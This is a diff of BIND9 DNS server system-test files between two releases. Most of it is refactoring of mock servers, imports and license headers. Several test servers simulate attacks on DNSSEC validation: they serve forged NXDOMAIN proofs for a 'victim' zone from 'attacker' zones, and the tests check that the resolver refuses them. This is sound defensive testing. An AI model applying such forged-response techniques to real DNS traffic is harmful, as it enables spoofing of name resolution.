bind9-9.20.30/bin/tests/system/nsec3_impersonation/ans1/ans.py --- bind9-9.20.29/bin/tests/system/nsec3_impersonation/ans1/ans.py 2026-09-11 19:41:01.265325346 +0000 +++ bind9-9.20.30/bin/tests/system/nsec3_impersonation/ans1/ans.py 2026-10-12 13:12:08.200895485 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -29,12 +27,9 @@ import dns.rdatatype import dns.rrset -from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - QueryContext, - ResponseHandler, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Domain, Qname, Qtype TTL = 300 TLD = "tld.test." @@ -182,8 +177,7 @@ This serves the forged response for the victim's domain. """ - def match(self, qctx: QueryContext) -> bool: - return qctx.qname == name(VICTIM) and qctx.qtype == dns.rdatatype.A + matcher = Qname(VICTIM) & Qtype(dns.rdatatype.A) def respond(self, qctx: QueryContext) -> None: forged_nxdomain(qctx.response, self.keys) @@ -195,8 +189,7 @@ It is actually a validly signed DS response. """ - def match(self, qctx: QueryContext) -> bool: - return qctx.qname == name(ATTACKER) and qctx.qtype == dns.rdatatype.DS + matcher = Qname(ATTACKER) & Qtype(dns.rdatatype.DS) def respond(self, qctx: QueryContext) -> None: response = qctx.response @@ -215,8 +208,7 @@ the apex are answered with an NXDOMAIN with no NSEC or NSEC3 present. """ - def match(self, qctx: QueryContext) -> bool: - return qctx.qname.is_subdomain(name(ATTACKER)) + matcher = Domain(ATTACKER) def respond(self, qctx: QueryContext) -> None: if qctx.qname == name(ATTACKER): @@ -246,8 +238,7 @@ The attack assumes that the adversary can inject these responses on-path. """ - def match(self, qctx: QueryContext) -> bool: - return qctx.qname.is_subdomain(name(TLD)) + matcher = Domain(TLD) def respond(self, qctx: QueryContext) -> None: if qctx.qname == name(TLD): diff -Nru bind9-9.20.29/bin/tests/system/nsec3_impersonation/tests_nsec3_impersonation.py bind9-9.20.30/bin/tests/system/nsec3_impersonation/tests_nsec3_impersonation.py --- bind9-9.20.29/bin/tests/system/nsec3_impersonation/tests_nsec3_impersonation.py 2026-09-11 19:41:01.265325346 +0000 +++ bind9-9.20.30/bin/tests/system/nsec3_impersonation/tests_nsec3_impersonation.py 2026-10-12 13:12:08.200895485 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -38,7 +36,6 @@ isctest.mark.with_ecdsa_deterministic, pytest.mark.extra_artifacts( [ - "ans*/ans.run", "ans*/keys.json", ] ), diff -Nru bind9-9.20.29/bin/tests/system/nsec_grandparent/ans1/ans.py bind9-9.20.30/bin/tests/system/nsec_grandparent/ans1/ans.py --- bind9-9.20.29/bin/tests/system/nsec_grandparent/ans1/ans.py 2026-09-11 19:41:01.265325346 +0000 +++ bind9-9.20.30/bin/tests/system/nsec_grandparent/ans1/ans.py 2026-10-12 13:12:08.200895485 +0000 @@ -1,8 +1,13 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator from dataclasses import dataclass @@ -22,12 +27,9 @@ import dns.rdatatype import dns.rrset -from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - QueryContext, - ResponseHandler, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Domain TTL = 300 PARENT = "p031.test." @@ -304,6 +306,7 @@ self.child_key = keys[CHILD] self.sibling_key = keys[SIBLING] self.parent = name(PARENT) + self.matcher = Domain(self.parent) self.child = name(CHILD) self.sibling = name(SIBLING) self.grandchild = name(GRANDCHILD) @@ -323,9 +326,6 @@ self.grandchild_almost_too_many, ) - def match(self, qctx: QueryContext) -> bool: - return qctx.qname.is_subdomain(self.parent) - async def get_responses( self, qctx: QueryContext ) -> AsyncGenerator[DnsResponseSend, None]: diff -Nru bind9-9.20.29/bin/tests/system/nsec_grandparent/tests_nsec_grandparent.py bind9-9.20.30/bin/tests/system/nsec_grandparent/tests_nsec_grandparent.py --- bind9-9.20.29/bin/tests/system/nsec_grandparent/tests_nsec_grandparent.py 2026-09-11 19:41:01.266325370 +0000 +++ bind9-9.20.30/bin/tests/system/nsec_grandparent/tests_nsec_grandparent.py 2026-10-12 13:12:08.200895485 +0000 @@ -1,8 +1,13 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from pathlib import Path @@ -83,7 +88,6 @@ isctest.mark.with_ecdsa_deterministic, pytest.mark.extra_artifacts( [ - "ans*/ans.run", "ans*/keys.json", ] ), @@ -158,20 +162,26 @@ def _rrsig_signers(response, section, owner, covered): - """(signer, algorithm) of every RRSIG covering owner/covered, in wire order.""" + """ + (signer, algorithm) of every RRSIG covering owner/covered, in wire order. + """ rrsig = _rrset(response, section, owner, dns.rdatatype.RRSIG, covers=covered) assert rrsig is not None, response.to_text() return [(rdata.signer.to_text(), int(rdata.algorithm)) for rdata in rrsig] def _auth_query_count(qname, qtype): - """Number of times the mock auth server received qname/qtype.""" + """ + Number of times the mock auth server received qname/qtype. + """ log = Path("ans1/ans.run").read_text(encoding="utf-8") return log.count(f"Received {qname.rstrip('.')}/IN/{qtype} (ID=") def _check_no_downgrade(response, qname): - """The forged proof must not downgrade the signed namespace.""" + """ + The forged proof must not downgrade the signed namespace. + """ isctest.check.servfail(response) isctest.check.noadflag(response) assert not _has_a(response, response.answer, qname, FORGED_A), response.to_text() diff -Nru bind9-9.20.29/bin/tests/system/nsec_ixfr/tests_nsec_ixfr.py bind9-9.20.30/bin/tests/system/nsec_ixfr/tests_nsec_ixfr.py --- bind9-9.20.29/bin/tests/system/nsec_ixfr/tests_nsec_ixfr.py 2026-09-11 19:41:01.266325370 +0000 +++ bind9-9.20.30/bin/tests/system/nsec_ixfr/tests_nsec_ixfr.py 2026-10-12 13:12:08.201895507 +0000 @@ -1,22 +1,22 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -"""Test that NSEC records received via IXFR produce correct denial-of-existence +""" +Test that NSEC records received via IXFR produce correct denial-of-existence proofs for empty non-terminal names. When a secondary receives NSEC records via IXFR (transitioning from an unsigned zone to an NSEC-signed zone), queries for empty non-terminal names should return -the NSEC record that covers the ENT, not the zone apex NSEC.""" +the NSEC record that covers the ENT, not the zone apex NSEC. +""" import shutil @@ -30,7 +30,8 @@ def test_nsec_ixfr_empty_nonterminal(ns1, ns2): - """Verify correct NSEC proof for ENT after IXFR from unsigned to signed. + """ + Verify correct NSEC proof for ENT after IXFR from unsigned to signed. 1. Wait for ns2 to have the unsigned zone (serial 1) via AXFR. 2. Switch ns1 to the signed zone (serial 2), reload. diff -Nru bind9-9.20.29/bin/tests/system/nsec_piggyback/ans1/ans.py bind9-9.20.30/bin/tests/system/nsec_piggyback/ans1/ans.py --- bind9-9.20.29/bin/tests/system/nsec_piggyback/ans1/ans.py 2026-09-11 19:41:01.266325370 +0000 +++ bind9-9.20.30/bin/tests/system/nsec_piggyback/ans1/ans.py 2026-10-12 13:12:08.201895507 +0000 @@ -1,8 +1,13 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator from dataclasses import dataclass @@ -23,12 +28,9 @@ import dns.rdatatype import dns.rrset -from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - QueryContext, - ResponseHandler, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Domain TTL = 300 PARENT = "p22.hack." @@ -172,14 +174,12 @@ def __init__(self, keys: dict[str, Key]) -> None: self.keys = keys self.parent = name(PARENT) + self.matcher = Domain(self.parent) self.child = name(CHILD) self.victim = name(VICTIM) self.aac = name(AAC) self.prime_nx = name(PRIME_NX) - def match(self, qctx: QueryContext) -> bool: - return qctx.qname.is_subdomain(self.parent) - async def get_responses( self, qctx: QueryContext ) -> AsyncGenerator[DnsResponseSend, None]: diff -Nru bind9-9.20.29/bin/tests/system/nsec_piggyback/tests_nsec_piggyback.py bind9-9.20.30/bin/tests/system/nsec_piggyback/tests_nsec_piggyback.py --- bind9-9.20.29/bin/tests/system/nsec_piggyback/tests_nsec_piggyback.py 2026-09-11 19:41:01.267325394 +0000 +++ bind9-9.20.30/bin/tests/system/nsec_piggyback/tests_nsec_piggyback.py 2026-10-12 13:12:08.201895507 +0000 @@ -1,8 +1,13 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from pathlib import Path @@ -40,7 +45,6 @@ isctest.mark.with_ecdsa_deterministic, pytest.mark.extra_artifacts( [ - "ans*/ans.run", "ans*/keys.json", "ns2/managed-keys.bind.jnl", ] diff -Nru bind9-9.20.29/bin/tests/system/nsec_synthesis/ans1/ans.py bind9-9.20.30/bin/tests/system/nsec_synthesis/ans1/ans.py --- bind9-9.20.29/bin/tests/system/nsec_synthesis/ans1/ans.py 2026-09-11 19:41:01.267325394 +0000 +++ bind9-9.20.30/bin/tests/system/nsec_synthesis/ans1/ans.py 2026-10-12 13:12:08.201895507 +0000 @@ -1,8 +1,13 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from isctest.asyncserver import AsyncDnsServer from nsec_synthesis.ans1 import common, f004, f023 diff -Nru bind9-9.20.29/bin/tests/system/nsec_synthesis/ans1/common.py bind9-9.20.30/bin/tests/system/nsec_synthesis/ans1/common.py --- bind9-9.20.29/bin/tests/system/nsec_synthesis/ans1/common.py 2026-09-11 19:41:01.267325394 +0000 +++ bind9-9.20.30/bin/tests/system/nsec_synthesis/ans1/common.py 2026-10-12 13:12:08.202895528 +0000 @@ -1,8 +1,13 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from dataclasses import dataclass from pathlib import Path diff -Nru bind9-9.20.29/bin/tests/system/nsec_synthesis/ans1/f004.py bind9-9.20.30/bin/tests/system/nsec_synthesis/ans1/f004.py --- bind9-9.20.29/bin/tests/system/nsec_synthesis/ans1/f004.py 2026-09-11 19:41:01.267325394 +0000 +++ bind9-9.20.30/bin/tests/system/nsec_synthesis/ans1/f004.py 2026-10-12 13:12:08.202895528 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -23,7 +21,9 @@ import dns.rdatatype import dns.rrset -from isctest.asyncserver import DnsResponseSend, DomainHandler, QueryContext +from isctest.asyncserver import QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Domain from nsec_synthesis.ans1.common import ( Key, add_signed, @@ -77,8 +77,8 @@ return dns.rrset.from_rdata(covered.name, covered.ttl, rdata) -class F004Handler(DomainHandler): - domains = [F004_ZONE] +class F004Handler(ResponseHandler): + matcher = Domain(F004_ZONE) def __init__(self, keys: dict[str, Key]) -> None: super().__init__() diff -Nru bind9-9.20.29/bin/tests/system/nsec_synthesis/ans1/f023.py bind9-9.20.30/bin/tests/system/nsec_synthesis/ans1/f023.py --- bind9-9.20.29/bin/tests/system/nsec_synthesis/ans1/f023.py 2026-09-11 19:41:01.267325394 +0000 +++ bind9-9.20.30/bin/tests/system/nsec_synthesis/ans1/f023.py 2026-10-12 13:12:08.202895528 +0000 @@ -1,8 +1,13 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator from datetime import datetime, timedelta, timezone @@ -16,7 +21,9 @@ import dns.rdatatype import dns.rrset -from isctest.asyncserver import DnsResponseSend, DomainHandler, QueryContext +from isctest.asyncserver import QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Domain from nsec_synthesis.ans1.common import ( Key, add_signed, @@ -74,8 +81,8 @@ add_signed(response.authority, nsec, signer) -class F023Handler(DomainHandler): - domains = [F023_ZONE, EVIL] +class F023Handler(ResponseHandler): + matcher = Domain(F023_ZONE, EVIL) def __init__(self, keys: dict[str, Key]) -> None: super().__init__() diff -Nru bind9-9.20.29/bin/tests/system/nsec_synthesis/tests_nsec_child_next.py bind9-9.20.30/bin/tests/system/nsec_synthesis/tests_nsec_child_next.py --- bind9-9.20.29/bin/tests/system/nsec_synthesis/tests_nsec_child_next.py 2026-09-11 19:41:01.267325394 +0000 +++ bind9-9.20.30/bin/tests/system/nsec_synthesis/tests_nsec_child_next.py 2026-10-12 13:12:08.202895528 +0000 @@ -1,8 +1,13 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from pathlib import Path @@ -34,7 +39,6 @@ isctest.mark.with_ecdsa_deterministic, pytest.mark.extra_artifacts( [ - "ans*/ans.run", "ans*/keys.json", ] ), diff -Nru bind9-9.20.29/bin/tests/system/nsec_synthesis/tests_nsec_exact_nodata.py bind9-9.20.30/bin/tests/system/nsec_synthesis/tests_nsec_exact_nodata.py --- bind9-9.20.29/bin/tests/system/nsec_synthesis/tests_nsec_exact_nodata.py 2026-09-11 19:41:01.267325394 +0000 +++ bind9-9.20.30/bin/tests/system/nsec_synthesis/tests_nsec_exact_nodata.py 2026-10-12 13:12:08.202895528 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -38,7 +36,6 @@ isctest.mark.with_ecdsa_deterministic, pytest.mark.extra_artifacts( [ - "ans*/ans.run", "ans*/keys.json", ] ), diff -Nru bind9-9.20.29/bin/tests/system/nsec_synthesis/tests_nsec_pending_cd.py bind9-9.20.30/bin/tests/system/nsec_synthesis/tests_nsec_pending_cd.py --- bind9-9.20.29/bin/tests/system/nsec_synthesis/tests_nsec_pending_cd.py 2026-09-11 19:41:01.268325417 +0000 +++ bind9-9.20.30/bin/tests/system/nsec_synthesis/tests_nsec_pending_cd.py 2026-10-12 13:12:08.202895528 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -39,7 +37,6 @@ isctest.mark.with_ecdsa_deterministic, pytest.mark.extra_artifacts( [ - "ans*/ans.run", "ans*/keys.json", ] ), diff -Nru bind9-9.20.29/bin/tests/system/nsec_synthesis/tests_nsec_selfloop.py bind9-9.20.30/bin/tests/system/nsec_synthesis/tests_nsec_selfloop.py --- bind9-9.20.29/bin/tests/system/nsec_synthesis/tests_nsec_selfloop.py 2026-09-11 19:41:01.268325417 +0000 +++ bind9-9.20.30/bin/tests/system/nsec_synthesis/tests_nsec_selfloop.py 2026-10-12 13:12:08.202895528 +0000 @@ -1,8 +1,13 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from pathlib import Path @@ -26,7 +31,6 @@ pytestmark = pytest.mark.extra_artifacts( [ - "ans1/ans.run", "ns3/K*", "ns3/child.f007.test.db", "ns3/child.f007.test.db.signed", diff -Nru bind9-9.20.29/bin/tests/system/nsec_wildcard_wrong_zone/ans1/ans.py bind9-9.20.30/bin/tests/system/nsec_wildcard_wrong_zone/ans1/ans.py --- bind9-9.20.29/bin/tests/system/nsec_wildcard_wrong_zone/ans1/ans.py 2026-09-11 19:41:01.268325417 +0000 +++ bind9-9.20.30/bin/tests/system/nsec_wildcard_wrong_zone/ans1/ans.py 2026-10-12 13:12:08.202895528 +0000 @@ -1,8 +1,13 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator from dataclasses import dataclass @@ -21,12 +26,9 @@ import dns.rdatatype import dns.rrset -from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - DomainHandler, - QueryContext, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Domain TTL = 300 VICTIM = "victim.example." @@ -123,8 +125,8 @@ response.answer.append(dns.rrset.from_rdata(name(CONTROL), TTL, rrsig)) -class NsecWildcardWrongZoneHandler(DomainHandler): - domains = [VICTIM, ATTACKER] +class NsecWildcardWrongZoneHandler(ResponseHandler): + matcher = Domain(VICTIM, ATTACKER) def __init__(self, keys: dict[str, Key]) -> None: super().__init__() diff -Nru bind9-9.20.29/bin/tests/system/nsec_wildcard_wrong_zone/tests_nsec_wildcard_wrong_zone.py bind9-9.20.30/bin/tests/system/nsec_wildcard_wrong_zone/tests_nsec_wildcard_wrong_zone.py --- bind9-9.20.29/bin/tests/system/nsec_wildcard_wrong_zone/tests_nsec_wildcard_wrong_zone.py 2026-09-11 19:41:01.268325417 +0000 +++ bind9-9.20.30/bin/tests/system/nsec_wildcard_wrong_zone/tests_nsec_wildcard_wrong_zone.py 2026-10-12 13:12:08.203895549 +0000 @@ -1,8 +1,13 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from pathlib import Path @@ -36,7 +41,6 @@ isctest.mark.with_ecdsa_deterministic, pytest.mark.extra_artifacts( [ - "ans*/ans.run", "ans*/keys.json", ] ), diff -Nru bind9-9.20.29/bin/tests/system/nslookup/tests_sh_nslookup.py bind9-9.20.30/bin/tests/system/nslookup/tests_sh_nslookup.py --- bind9-9.20.29/bin/tests/system/nslookup/tests_sh_nslookup.py 2026-09-11 19:41:01.269325442 +0000 +++ bind9-9.20.30/bin/tests/system/nslookup/tests_sh_nslookup.py 2026-10-12 13:12:08.203895549 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/nsprocessinglimit/tests_nsprocessinglimit.py bind9-9.20.30/bin/tests/system/nsprocessinglimit/tests_nsprocessinglimit.py --- bind9-9.20.29/bin/tests/system/nsprocessinglimit/tests_nsprocessinglimit.py 2026-09-11 19:41:01.269325442 +0000 +++ bind9-9.20.30/bin/tests/system/nsprocessinglimit/tests_nsprocessinglimit.py 2026-10-12 13:12:08.204895571 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/nsupdate/ans11/ans.py bind9-9.20.30/bin/tests/system/nsupdate/ans11/ans.py --- bind9-9.20.29/bin/tests/system/nsupdate/ans11/ans.py 2026-09-11 19:41:01.272325513 +0000 +++ bind9-9.20.30/bin/tests/system/nsupdate/ans11/ans.py 2026-10-12 13:12:08.206895614 +0000 @@ -3,113 +3,82 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -""" -GL#5818 Finding 1 regression support — AsyncDnsServer primary. - -Serves a minimal zone "sigaxfr.nil." whose AXFR carries two SIG records -at the same owner with different covered types (A and MX) and different -TTLs (600 and 1200). A buggy secondary running dns_diff_load() with -rdata_covers() that only recognises RRSIG will file both rdatas under -typepair (SIG, 0) with the first tuple's TTL; a fixed secondary keeps -them under (SIG, A) and (SIG, MX) with their distinct TTLs. -""" - -from collections.abc import AsyncGenerator - -import dns.name import dns.rcode import dns.rdata import dns.rdataclass import dns.rdatatype import dns.rrset -from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - DomainHandler, - QueryContext, - ResponseAction, -) - -ZONE = dns.name.from_text("sigaxfr.nil.") -NS_NAME = dns.name.from_text("ns.sigaxfr.nil.") -HOST = dns.name.from_text("host.sigaxfr.nil.") - -SOA_TEXT = "ns.sigaxfr.nil. hostmaster.sigaxfr.nil. 1 3600 1200 604800 3600" - - -def _make_sig_rdata(covered_text): - """Produce a legacy SIG (24) rdata via RRSIG (46) round-trip.""" - rrsig = dns.rdata.from_text(dns.rdataclass.IN, dns.rdatatype.RRSIG, covered_text) +from isctest.asyncserver import AsyncDnsServer +from isctest.asyncserver.handlers import AxfrHandler, StaticResponseHandler +from isctest.asyncserver.matchers import Qname, Qtype + +ZONE = "sigaxfr.nil." +NS_NAME = "ns.sigaxfr.nil." +HOST = "host.sigaxfr.nil." + + +def rrset(name: str, rdtype: dns.rdatatype.RdataType, *rdata: str) -> dns.rrset.RRset: + return dns.rrset.from_text(name, 3600, dns.rdataclass.IN, rdtype, *rdata) + + +def soa() -> dns.rrset.RRset: + return rrset( + ZONE, + dns.rdatatype.SOA, + "ns.sigaxfr.nil. hostmaster.sigaxfr.nil. 1 3600 1200 604800 3600", + ) + + +def sig_rdata(covers: dns.rdatatype.RdataType, ttl: int) -> dns.rdata.Rdata: + """ + dnspython cannot parse the legacy SIG (24) type from text; parse the + text as RRSIG (46), which shares its wire format, and re-wrap as SIG. + """ + covered = dns.rdatatype.to_text(covers) + text = f"{covered} 6 2 {ttl} 20260331170000 20260318160000 21831 . 0000" + rrsig = dns.rdata.from_text(dns.rdataclass.IN, dns.rdatatype.RRSIG, text) wire = rrsig.to_digestable() return dns.rdata.from_wire(dns.rdataclass.IN, dns.rdatatype.SIG, wire, 0, len(wire)) -class SigAxfrServer(DomainHandler): - """Serve SOA and AXFR for sigaxfr.nil.; other qtypes get NOERROR/NODATA.""" - - domains = ["sigaxfr.nil."] - - async def get_responses( - self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: - soa_rrset = dns.rrset.from_text( - ZONE, 3600, dns.rdataclass.IN, dns.rdatatype.SOA, SOA_TEXT - ) - - if qctx.qtype == dns.rdatatype.SOA: - resp = qctx.response - resp.answer.append(soa_rrset) - yield DnsResponseSend(resp) - return - - if qctx.qtype != dns.rdatatype.AXFR: - # Other types: empty NOERROR response. - yield DnsResponseSend(qctx.response) - return - - # AXFR: opening SOA, NS, NS's A, two SIG RRs at the same owner - # with distinct covered types and TTLs, closing SOA. - resp = qctx.response - resp.answer.append(soa_rrset) - - ns_rrset = dns.rrset.from_text( - ZONE, 3600, dns.rdataclass.IN, dns.rdatatype.NS, str(NS_NAME) - ) - resp.answer.append(ns_rrset) - - a_rrset = dns.rrset.from_text( - NS_NAME, 3600, dns.rdataclass.IN, dns.rdatatype.A, "10.53.0.11" - ) - resp.answer.append(a_rrset) - - sig_a = _make_sig_rdata("A 6 2 600 20260331170000 20260318160000 21831 . 0000") - sig_a_rrset = dns.rrset.RRset(HOST, dns.rdataclass.IN, dns.rdatatype.SIG) - sig_a_rrset.add(sig_a, ttl=600) - resp.answer.append(sig_a_rrset) - - sig_mx = _make_sig_rdata( - "MX 6 2 1200 20260331170000 20260318160000 21831 . 0000" - ) - sig_mx_rrset = dns.rrset.RRset(HOST, dns.rdataclass.IN, dns.rdatatype.SIG) - sig_mx_rrset.add(sig_mx, ttl=1200) - resp.answer.append(sig_mx_rrset) +def sig(covers: dns.rdatatype.RdataType, ttl: int) -> dns.rrset.RRset: + return dns.rrset.from_rdata(HOST, ttl, sig_rdata(covers, ttl)) - # Closing SOA terminates the AXFR. - resp.answer.append(soa_rrset) - yield DnsResponseSend(resp) +class SoaHandler(StaticResponseHandler): + matcher = Qname(ZONE) & Qtype(dns.rdatatype.SOA) + answer = [soa()] + + +class SigAxfrHandler(AxfrHandler): + """ + Serve an AXFR carrying two legacy SIG (24) rdatas at one owner whose + covered types (A, MX) and TTLs (600, 1200) differ; the transferring + secondary must keep them as separate (SIG, A) and (SIG, MX) + rdatasets with their distinct TTLs (GL#5818). + """ + + matcher = Qname(ZONE) & Qtype(dns.rdatatype.AXFR) + initial_soa = soa() + zone_contents = [ + rrset(ZONE, dns.rdatatype.NS, NS_NAME), + rrset(NS_NAME, dns.rdatatype.A, "10.53.0.11"), + sig(dns.rdatatype.A, 600), + sig(dns.rdatatype.MX, 1200), + ] + final_soa = soa() def main() -> None: server = AsyncDnsServer(default_aa=True, default_rcode=dns.rcode.NOERROR) - server.install_response_handler(SigAxfrServer()) + server.install_response_handlers(SoaHandler(), SigAxfrHandler()) server.run() diff -Nru bind9-9.20.29/bin/tests/system/nsupdate/ans4/ans.py 